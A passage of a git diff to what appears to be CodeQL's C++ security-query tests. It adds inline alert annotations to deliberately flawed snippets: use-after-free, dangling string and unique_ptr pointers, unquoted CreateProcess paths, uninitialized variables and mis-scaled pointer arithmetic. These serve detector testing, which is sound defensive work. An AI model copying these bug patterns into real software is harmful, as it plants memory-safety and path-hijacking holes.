PlusPlusReturnByValueIterator it; - it.operator++(); // GOOD [FALSE POSITIVE] + it.operator++(); // GOOD [FALSE POSITIVE] // $ Alert it.begin(); } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/UseAfterFree.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/UseAfterFree.qlref index c0ef8616cdc1..096090964894 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/UseAfterFree.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/UseAfterFree.qlref @@ -1 +1,2 @@ -Critical/UseAfterFree.ql +query: Critical/UseAfterFree.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/test.cpp index deac38663362..251b936cc11c 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseAfterFree/test.cpp @@ -36,9 +36,9 @@ void test1() char* data; data = (char *)malloc(100*sizeof(char)); use_if_nonzero(data); // GOOD - free(data); + free(data); // $ Source use_if_nonzero(data); // BAD [NOT DETECTED] - use(data); // BAD + use(data); // BAD // $ Alert } void test2() @@ -72,11 +72,11 @@ void test4() { char* data; data = (char *)malloc(100*sizeof(char)); - free(data); + free(data); // $ Source if (data) { use_if_nonzero(data); // BAD [NOT DETECTED] - use(data); // BAD + use(data); // BAD // $ Alert } } @@ -103,9 +103,9 @@ void test6() char *data, *data2; data = (char *)malloc(100*sizeof(char)); data2 = data; - free(data); + free(data); // $ Source use_if_nonzero(data2); // BAD [NOT DETECTED] - use(data); // BAD + use(data); // BAD // $ Alert } void test7() @@ -113,10 +113,10 @@ void test7() char *data, *data2; data = (char *)malloc(100*sizeof(char)); data2 = data; - free(data); + free(data); // $ Source data2 = NULL; use_if_nonzero(data); // BAD [NOT DETECTED] - use(data); // BAD + use(data); // BAD // $ Alert } void test8() @@ -124,10 +124,10 @@ void test8() char *data, *data2; data2 = (char *)malloc(100*sizeof(char)); data = data2; - free(data); + free(data); // $ Source data2 = NULL; use_if_nonzero(data); // BAD [NOT DETECTED] - use(data); // BAD + use(data); // BAD // $ Alert } void noReturnWrapper() { noReturn(); } @@ -161,9 +161,9 @@ class myClass void test11() { myClass* c = new myClass(); - delete(c); - c->myMethod(); // BAD - (*c).myMethod(); // BAD + delete(c); // $ Source + c->myMethod(); // BAD // $ Alert + (*c).myMethod(); // BAD // $ Alert } template T test() @@ -178,43 +178,43 @@ template T test() void test12(int count) { char* data = NULL; - free(data); + free(data); // $ Source for (int i = 0; i < count; i++) { data = NULL; } - use(data); // BAD + use(data); // BAD // $ Alert } void test13() { char* data = NULL; - free(data); + free(data); // $ Source for (int i = 0; i < 2; i++) { data = NULL; } - use(data); // GOOD [FALSE POSITIVE] + use(data); // GOOD [FALSE POSITIVE] // $ Alert } void test14() { char* data = NULL; - free(data); + free(data); // $ Source for (int i = 0; i < 2; i++) { data = NULL; - free(data); + free(data); // $ Source } - use(data); // BAD + use(data); // BAD // $ Alert } template T test15() { T* x; use(x); // GOOD - delete x; - use(x); // BAD [NOT DETECTED] + delete x; // $ Source + use(x); // BAD [NOT DETECTED] // $ Alert } void test15runner(void) { @@ -240,17 +240,17 @@ struct myStruct { }; void malloc_after_free(myStruct *s) { - free(s->i1.data); + free(s->i1.data); // $ Source s->i1.data = (char *)malloc(100*sizeof(char)); if (s->i1.data == 0) { return; } - use(s->i1.data); // GOOD [FALSE POSITIVE] + use(s->i1.data); // GOOD [FALSE POSITIVE] // $ Alert - free(s->i2->data); + free(s->i2->data); // $ Source s->i2->data = (char *)malloc(100*sizeof(char)); if (s->i2->data == 0) { return; } - use(s->i2->data); // GOOD [FALSE POSITIVE] + use(s->i2->data); // GOOD [FALSE POSITIVE] // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/UseOfStringAfterLifetimeEnds.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/UseOfStringAfterLifetimeEnds.qlref index a69a1a7f4e57..a367b49f59d6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/UseOfStringAfterLifetimeEnds.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/UseOfStringAfterLifetimeEnds.qlref @@ -1,2 +1,2 @@ - -Security/CWE/CWE-416/UseOfStringAfterLifetimeEnds.ql \ No newline at end of file +query: Security/CWE/CWE-416/UseOfStringAfterLifetimeEnds.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/test.cpp index 4b3d934088d7..ebd098315a29 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfStringAfterLifetimeEnds/test.cpp @@ -162,11 +162,11 @@ void call_by_cref(const S&); void call(const char*); const char* test1(bool b1, bool b2) { - auto s1 = std::string("hello").c_str(); // BAD - auto s2 = b1 ? std::string("hello").c_str() : ""; // BAD - auto s3 = b2 ? "" : std::string("hello").c_str(); // BAD + auto s1 = std::string("hello").c_str(); // BAD // $ Alert + auto s2 = b1 ? std::string("hello").c_str() : ""; // BAD // $ Alert + auto s3 = b2 ? "" : std::string("hello").c_str(); // BAD // $ Alert const char* s4; - s4 = std::string("hello").c_str(); // BAD + s4 = std::string("hello").c_str(); // BAD // $ Alert call(std::string("hello").c_str()); // GOOD call(b1 ? std::string("hello").c_str() : ""); // GOOD @@ -175,24 +175,24 @@ const char* test1(bool b1, bool b2) { call_by_cref({ std::string("hello").c_str() }); // GOOD std::vector v1; - v1.push_back(std::string("hello").c_str()); // BAD + v1.push_back(std::string("hello").c_str()); // BAD // $ Alert std::vector v2; - v2.push_back({ std::string("hello").c_str() }); // BAD + v2.push_back({ std::string("hello").c_str() }); // BAD // $ Alert - S s5[] = { { std::string("hello").c_str() } }; // BAD + S s5[] = { { std::string("hello").c_str() } }; // BAD // $ Alert char c = std::string("hello").c_str()[0]; // GOOD - auto s6 = std::string("hello").data(); // BAD - auto s7 = b1 ? std::string("hello").data() : ""; // BAD - auto s8 = b2 ? "" : std::string("hello").data(); // BAD + auto s6 = std::string("hello").data(); // BAD // $ Alert + auto s7 = b1 ? std::string("hello").data() : ""; // BAD // $ Alert + auto s8 = b2 ? "" : std::string("hello").data(); // BAD // $ Alert char* s9; - s9 = std::string("hello").data(); // BAD + s9 = std::string("hello").data(); // BAD // $ Alert - const char* s13 = b1 ? std::string("hello").c_str() : s1; // BAD + const char* s13 = b1 ? std::string("hello").c_str() : s1; // BAD // $ Alert - return std::string("hello").c_str(); // BAD + return std::string("hello").c_str(); // BAD // $ Alert } void test2(bool b1, bool b2) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/UseOfUniquePointerAfterLifetimeEnds.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/UseOfUniquePointerAfterLifetimeEnds.qlref index 4c613e5c5acc..c2d7ade08561 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/UseOfUniquePointerAfterLifetimeEnds.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/UseOfUniquePointerAfterLifetimeEnds.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-416/UseOfUniquePointerAfterLifetimeEnds.ql \ No newline at end of file +query: Security/CWE/CWE-416/UseOfUniquePointerAfterLifetimeEnds.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/test.cpp index 18cc66b83675..f133f80206a1 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/UseOfUniquePtrAfterLifetimeEnds/test.cpp @@ -153,14 +153,14 @@ std::unique_ptr get_unique_ptr(); const S* test1(bool b1, bool b2) { auto s1 = *get_unique_ptr(); // GOOD - auto s1a = &*get_unique_ptr(); // BAD - auto s1b = get_unique_ptr().get(); // BAD + auto s1a = &*get_unique_ptr(); // BAD // $ Alert + auto s1b = get_unique_ptr().get(); // BAD // $ Alert auto s1c = get_unique_ptr()->s; // GOOD - auto s1d = &(get_unique_ptr()->s); // BAD - auto s2 = b1 ? get_unique_ptr().get() : nullptr; // BAD - auto s3 = b2 ? nullptr :get_unique_ptr().get(); // BAD + auto s1d = &(get_unique_ptr()->s); // BAD // $ Alert + auto s2 = b1 ? get_unique_ptr().get() : nullptr; // BAD // $ Alert + auto s3 = b2 ? nullptr :get_unique_ptr().get(); // BAD // $ Alert const S* s4; - s4 = get_unique_ptr().get(); // BAD + s4 = get_unique_ptr().get(); // BAD // $ Alert call(get_unique_ptr().get()); // GOOD call(b1 ? get_unique_ptr().get() : nullptr); // GOOD @@ -169,14 +169,14 @@ const S* test1(bool b1, bool b2) { call_by_ref(*get_unique_ptr()); // GOOD std::vector v1; - v1.push_back(get_unique_ptr().get()); // BAD + v1.push_back(get_unique_ptr().get()); // BAD // $ Alert - S* s5[] = { get_unique_ptr().get() }; // BAD + S* s5[] = { get_unique_ptr().get() }; // BAD // $ Alert S s6 = b1 ? *get_unique_ptr() : *get_unique_ptr(); // GOOD - S& s7 = b1 ? *get_unique_ptr() : *get_unique_ptr(); // BAD + S& s7 = b1 ? *get_unique_ptr() : *get_unique_ptr(); // BAD // $ Alert - return &*get_unique_ptr(); // BAD + return &*get_unique_ptr(); // BAD // $ Alert } void test2(bool b1, bool b2) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.cpp index 547237c2bea7..cc314f35bc5a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.cpp @@ -100,31 +100,31 @@ void positiveTestCases() wchar_t* lpApplicationName = NULL; // CreateProcessA - CreateProcessA( //BUG + CreateProcessA( //BUG // $ Alert NULL, (char*)"C:\\Program Files\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // CreateProcessW - CreateProcessW( //BUG + CreateProcessW( //BUG // $ Alert NULL, (wchar_t*)L"C:\\Program Files\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // CreateProcess - CreateProcess( //BUG + CreateProcess( //BUG // $ Alert NULL, (wchar_t*)L"C:\\Program Files\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // lpCommandLine as hardcoded variable - CreateProcess( //BUG + CreateProcess( //BUG // $ Alert NULL, (wchar_t*)lpCommandLine, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // CreateProcessWithTokenW - CreateProcessWithTokenW( //BUG + CreateProcessWithTokenW( //BUG // $ Alert h, LOGON_WITH_PROFILE, NULL, @@ -132,7 +132,7 @@ void positiveTestCases() 0, NULL, NULL, NULL, NULL); // CreateProcessWithLogonW - CreateProcessWithLogonW( //BUG + CreateProcessWithLogonW( //BUG // $ Alert (const wchar_t*)L"UserName", (const wchar_t*)L"CONTOSO", (const wchar_t*)L"", @@ -142,21 +142,21 @@ void positiveTestCases() 0, NULL, NULL, NULL, NULL); // CreateProcessAsUserA - CreateProcessAsUserA( //BUG + CreateProcessAsUserA( //BUG // $ Alert h, NULL, (char*)"C:\\Program Files\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // CreateProcessAsUserW - CreateProcessAsUserW( //BUG + CreateProcessAsUserW( //BUG // $ Alert h, NULL, (wchar_t*)L"C:\\Program Files\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); // CreateProcessAsUser - CreateProcessAsUser( //BUG + CreateProcessAsUser( //BUG // $ Alert h, NULL, (wchar_t*)L"C:\\Program Files\\MyApp", @@ -164,7 +164,7 @@ void positiveTestCases() // CreateProcess with a hardcoded variable for application Name (NULL) // Variation: tab instead of space - CreateProcess( //BUG + CreateProcess( //BUG // $ Alert lpApplicationName, (wchar_t*)L"C:\\Program\tFiles\\MyApp", NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); @@ -173,7 +173,7 @@ void positiveTestCases() void PositiveTestCasesWithCmdLineParameter(wchar_t* lpCommandLine) { // lpCommandLine as variable - CreateProcess( //BUG - Depends on the caller + CreateProcess( //BUG - Depends on the caller // $ Alert NULL, lpCommandLine, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); @@ -206,7 +206,7 @@ void PositiveTestCasesWithAppNameParameter(wchar_t* lpApplicationName) { void* h = 0; - CreateProcessWithTokenW( //BUG - Depends on the caller. In this case the caller sends NULL + CreateProcessWithTokenW( //BUG - Depends on the caller. In this case the caller sends NULL // $ Alert h, LOGON_WITH_PROFILE, lpApplicationName, @@ -255,7 +255,7 @@ void TestCaseProbablyBug() lpApplicationName = (const wchar_t*)L"app.exe"; } - CreateProcessWithLogonW( // BUG (Probably - depends on a condition that may be false) + CreateProcessWithLogonW( // BUG (Probably - depends on a condition that may be false) // $ Alert (const wchar_t*)L"UserName", (const wchar_t*)L"CONTOSO", (const wchar_t*)L"", diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.qlref index f2012f0c678d..75d4eecadc1d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-428/UnsafeCreateProcessCall.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-428/UnsafeCreateProcessCall.ql \ No newline at end of file +query: Security/CWE/CWE-428/UnsafeCreateProcessCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/ConditionallyUninitializedVariable.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/ConditionallyUninitializedVariable.qlref index 5150d627257c..81d04da795eb 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/ConditionallyUninitializedVariable.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/ConditionallyUninitializedVariable.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-457/ConditionallyUninitializedVariable.ql +query: Security/CWE/CWE-457/ConditionallyUninitializedVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/examples.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/examples.cpp index ccb15904d025..b895621db06e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/examples.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/examples.cpp @@ -35,7 +35,7 @@ void notifyGood(int deviceNumber) { int notifyBad(int deviceNumber) { DeviceConfig config; - initDeviceConfig(&config, deviceNumber); + initDeviceConfig(&config, deviceNumber); // $ Alert // BAD: Using config without checking the status code that is returned if (config.isEnabled) { notifyChannel(config.channel); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/test.cpp index a3c9b0a24aaa..46b9cbf8b3e7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/ConditionallyUninitializedVariable/test.cpp @@ -19,7 +19,7 @@ void test1() int a, b, c, d, e, f; int result1, result2; - maybeInitialize1(&a); // BAD (initialization not checked) + maybeInitialize1(&a); // BAD (initialization not checked) // $ Alert use(a); if (maybeInitialize1(&b) == 1) // GOOD @@ -65,7 +65,7 @@ void test2() { int a, b; - maybeInitialize2(&a); // BAD (initialization not checked) + maybeInitialize2(&a); // BAD (initialization not checked) // $ Alert use(a); if (maybeInitialize2(&b)) // GOOD diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/UninitializedLocal.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/UninitializedLocal.qlref index 834d9576ddc2..402ebbae6eb1 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/UninitializedLocal.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/UninitializedLocal.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/UninitializedLocal.ql +query: Likely Bugs/Memory Management/UninitializedLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/errors.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/errors.cpp index 07bb61f943ed..ae7e767158c5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/errors.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/errors.cpp @@ -10,6 +10,6 @@ void * operator new(unsigned long, bool); void operator delete(void*, bool); int f2() { - int x; - new(true) int (x); // BAD, ignore implicit error expression + int x; // $ Source Sink + new(true) int (x); // BAD, ignore implicit error expression // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/test.cpp index 14c00675545b..408781de438e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-457/semmle/tests/test.cpp @@ -8,8 +8,8 @@ void test1() { } void test2() { - int foo; - use(foo); // BAD + int foo; // $ Source Sink + use(foo); // BAD // $ Alert } void test3(bool b) { @@ -108,9 +108,9 @@ void test12() { } void test13() { - int foo; + int foo; // $ Source Sink &foo; - use(foo); // BAD + use(foo); // BAD // $ Alert } void init(int* p) { *p = 1; } @@ -223,8 +223,8 @@ void test19() { void test20() { - int x; - x += 0; // BAD + int x; // $ Source Sink + x += 0; // BAD // $ Alert use(x); } @@ -246,9 +246,9 @@ void test21() MyValue v1(1); MyValue v2; MyValue v3; - int i; + int i; // $ Source Sink - v3 = v1 >> i; // BAD: i is not initialized + v3 = v1 >> i; // BAD: i is not initialized // $ Alert v3 = v2 >> 1; // BAD: v2 is not initialized [NOT DETECTED] } @@ -338,10 +338,10 @@ int test28() { } int test29() { - bool a, b = true, c = true; + bool a, b = true, c = true; // $ Source Sink int val; - while ((a && b) || c) // BAD (a is uninitialized) + while ((a && b) || c) // BAD (a is uninitialized) // $ Alert { val = 1; b = false; @@ -363,8 +363,8 @@ int test30() { int test31() { bool loop = true; bool stop = false; - bool a, b = true, c = true; - int val; + bool a, b = true, c = true; // $ Source Sink + int val; // $ Source Sink while (loop || false) { @@ -374,7 +374,7 @@ int test31() { { stop = true; } - while ((a && b) || c) // BAD (a is uninitialized) + while ((a && b) || c) // BAD (a is uninitialized) // $ Alert { b = false; c = false; @@ -383,7 +383,7 @@ int test31() { { } while (false); - return val; // BAD + return val; // BAD // $ Alert } int test32() { @@ -419,10 +419,10 @@ int test34() { } int test35() { - int i, j; + int i, j; // $ Source Sink for (int i = 0; i < 10; i++, j = 1) { - return j; // BAD + return j; // BAD // $ Alert } } @@ -436,12 +436,12 @@ int test36() { } int test38() { - int i, j; + int i, j; // $ Source Sink for (int i = 0; false; i++, j = 1) { } - return j; // BAD + return j; // BAD // $ Alert } void test39() { @@ -457,29 +457,29 @@ void test40() { } void test41() { - int x; + int x; // $ Source Sink - x++; // BAD + x++; // BAD // $ Alert } void test42() { - int x; + int x; // $ Source Sink - void(x++); // BAD + void(x++); // BAD // $ Alert } void test43() { - int x; + int x; // $ Source Sink int y = 1; - x + y; // BAD + x + y; // BAD // $ Alert } void test44() { - int x; + int x; // $ Source Sink int y = 1; - void(x + y); // BAD + void(x + y); // BAD // $ Alert } enum class State { StateA, StateB, StateC }; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScaling.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScaling.qlref index 2a673380ba16..1c96d9e4607e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScaling.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScaling.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-468/IncorrectPointerScaling.ql \ No newline at end of file +query: Security/CWE/CWE-468/IncorrectPointerScaling.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingChar.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingChar.qlref index d14a9ca77f22..bc325696a764 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingChar.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingChar.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-468/IncorrectPointerScalingChar.ql +query: Security/CWE/CWE-468/IncorrectPointerScalingChar.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingVoid.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingVoid.qlref index 46650070ece4..1627ede63028 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingVoid.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/IncorrectPointerScalingVoid.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql +query: Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/test.cpp index a4d42f4521f2..9f6b046a90bd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/IncorrectPointerScaling/test.cpp @@ -10,7 +10,7 @@ int test2(int i) { char *charPointer = (char *)intArray; // BAD [FALSE NEGATIVE of IncorrectPointerScaling.ql]: the pointer arithmetic // uses type char*, so the offset is not scaled by sizeof(int). - return *(int *)(charPointer + i); + return *(int *)(charPointer + i); // $ Alert[cpp/incorrect-pointer-scaling-char] } int test3(int i) { @@ -47,7 +47,7 @@ char* test7( int *p = (int*)x; // BAD: the type of x is double*, but it has been cast to int* // so the pointer add is scaled by sizeof(int). - return (char *)(p + 1); + return (char *)(p + 1); // $ Alert[cpp/suspicious-pointer-scaling] } char* test8( @@ -74,7 +74,7 @@ char* test10(int* x) { // only part of an integer is architecture-dependent. If the pointer returned // from this function is dereferenced, the result will depend on int size and // endianness regardless of whether the offset is scaled by sizeof(int). - return (char*)x + 1; + return (char*)x + 1; // $ Alert[cpp/incorrect-pointer-scaling-char] } char* test10b(int* x) { @@ -91,7 +91,7 @@ short* test10c(int* x) { // from this function is dereferenced, the result will depend on int size and // endianness regardless of whether the offset is scaled by (sizeof(int) / // sizeof(short)). - return (short*)x + 1; + return (short*)x + 1; // $ Alert[cpp/suspicious-pointer-scaling] } int test11(int* x, int* y) { @@ -116,7 +116,7 @@ int test13(mystruct *p) { // computes the byte offset of a member. Code like this is commonly seen in // projects that use C/C++ for their low-level control over memory. int offset = (char *)&p->int_field - (char *)p; - return *(int *)((char*)p + offset); + return *(int *)((char*)p + offset); // $ Alert[cpp/incorrect-pointer-scaling-char] } int test14(int arr[12][12]) { @@ -127,22 +127,22 @@ int test14(int arr[12][12]) { int test15(int arr[12][12]) { // BAD: the type of the pointer is int but it has been scaled by sizeof(short) - return *(int*)((short*) arr + 1); + return *(int*)((short*) arr + 1); // $ Alert[cpp/suspicious-pointer-scaling] } void* test16(int* x) { // BAD: void pointer arithmetic is not portable across compilers - return (void*)x + 1; + return (void*)x + 1; // $ Alert[cpp/suspicious-pointer-scaling-void] } void* test17(int* x) { // BAD: void pointer arithmetic is not portable across compilers - return (void*)x + sizeof(int); + return (void*)x + sizeof(int); // $ Alert[cpp/suspicious-pointer-scaling-void] } int test18(int i) { int intArray[2][2] = { {1, 2}, {3, 4} }; char *charPointer = (char *)intArray; // BAD: the pointer arithmetic uses type char*, so the offset is not scaled by sizeof(int). - return *(int *)(charPointer + i); + return *(int *)(charPointer + i); // $ Alert[cpp/incorrect-pointer-scaling-char] } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/SuspiciousAddWithSizeof.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/SuspiciousAddWithSizeof.qlref index 8c2dec10e170..bcea0a075987 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/SuspiciousAddWithSizeof.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/SuspiciousAddWithSizeof.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql \ No newline at end of file +query: Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/buildless.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/buildless.cpp index b0b590fba699..bcc4400b293e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/buildless.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/buildless.cpp @@ -2,8 +2,8 @@ void test_buildless(const char *p_c, const short *p_short, const int *p_int, const uint8_t *p_8, const uint16_t *p_16, const uint32_t *p_32) { *(p_c + sizeof(int)); // GOOD (`sizeof(char)` is 1) - *(p_short + sizeof(int)); // BAD - *(p_int + sizeof(int)); // BAD + *(p_short + sizeof(int)); // BAD // $ Alert + *(p_int + sizeof(int)); // BAD // $ Alert *(p_8 + sizeof(int)); // GOOD (`sizeof(uint8_t)` is 1, but there's an error in the type) *(p_16 + sizeof(int)); // BAD [NOT DETECTED] *(p_32 + sizeof(int)); // BAD [NOT DETECTED] diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/test.cpp index fa2bd934cca2..11073db5d6df 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-468/semmle/SuspiciousAddWithSizeof/test.cpp @@ -3,7 +3,7 @@ int test1(int i) { int *intPointer = intArray; // BAD: the offset is already automatically scaled by sizeof(int), // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int))); + return *(intPointer + (i * sizeof(int))); // $ Alert } int test2(int i) { @@ -11,7 +11,7 @@ int test2(int i) { int *intPointer = intArray; // BAD: the offset is already automatically scaled by sizeof(int), // so this code will compute the wrong offset. - return *(intPointer - (i * sizeof(int))); + return *(intPointer - (i * sizeof(int))); // $ Alert } int test3(int i) { @@ -19,7 +19,7 @@ int test3(int i) { int *intPointer = intArray; // BAD: the offset is already automatically scaled by sizeof(int), // so this code will 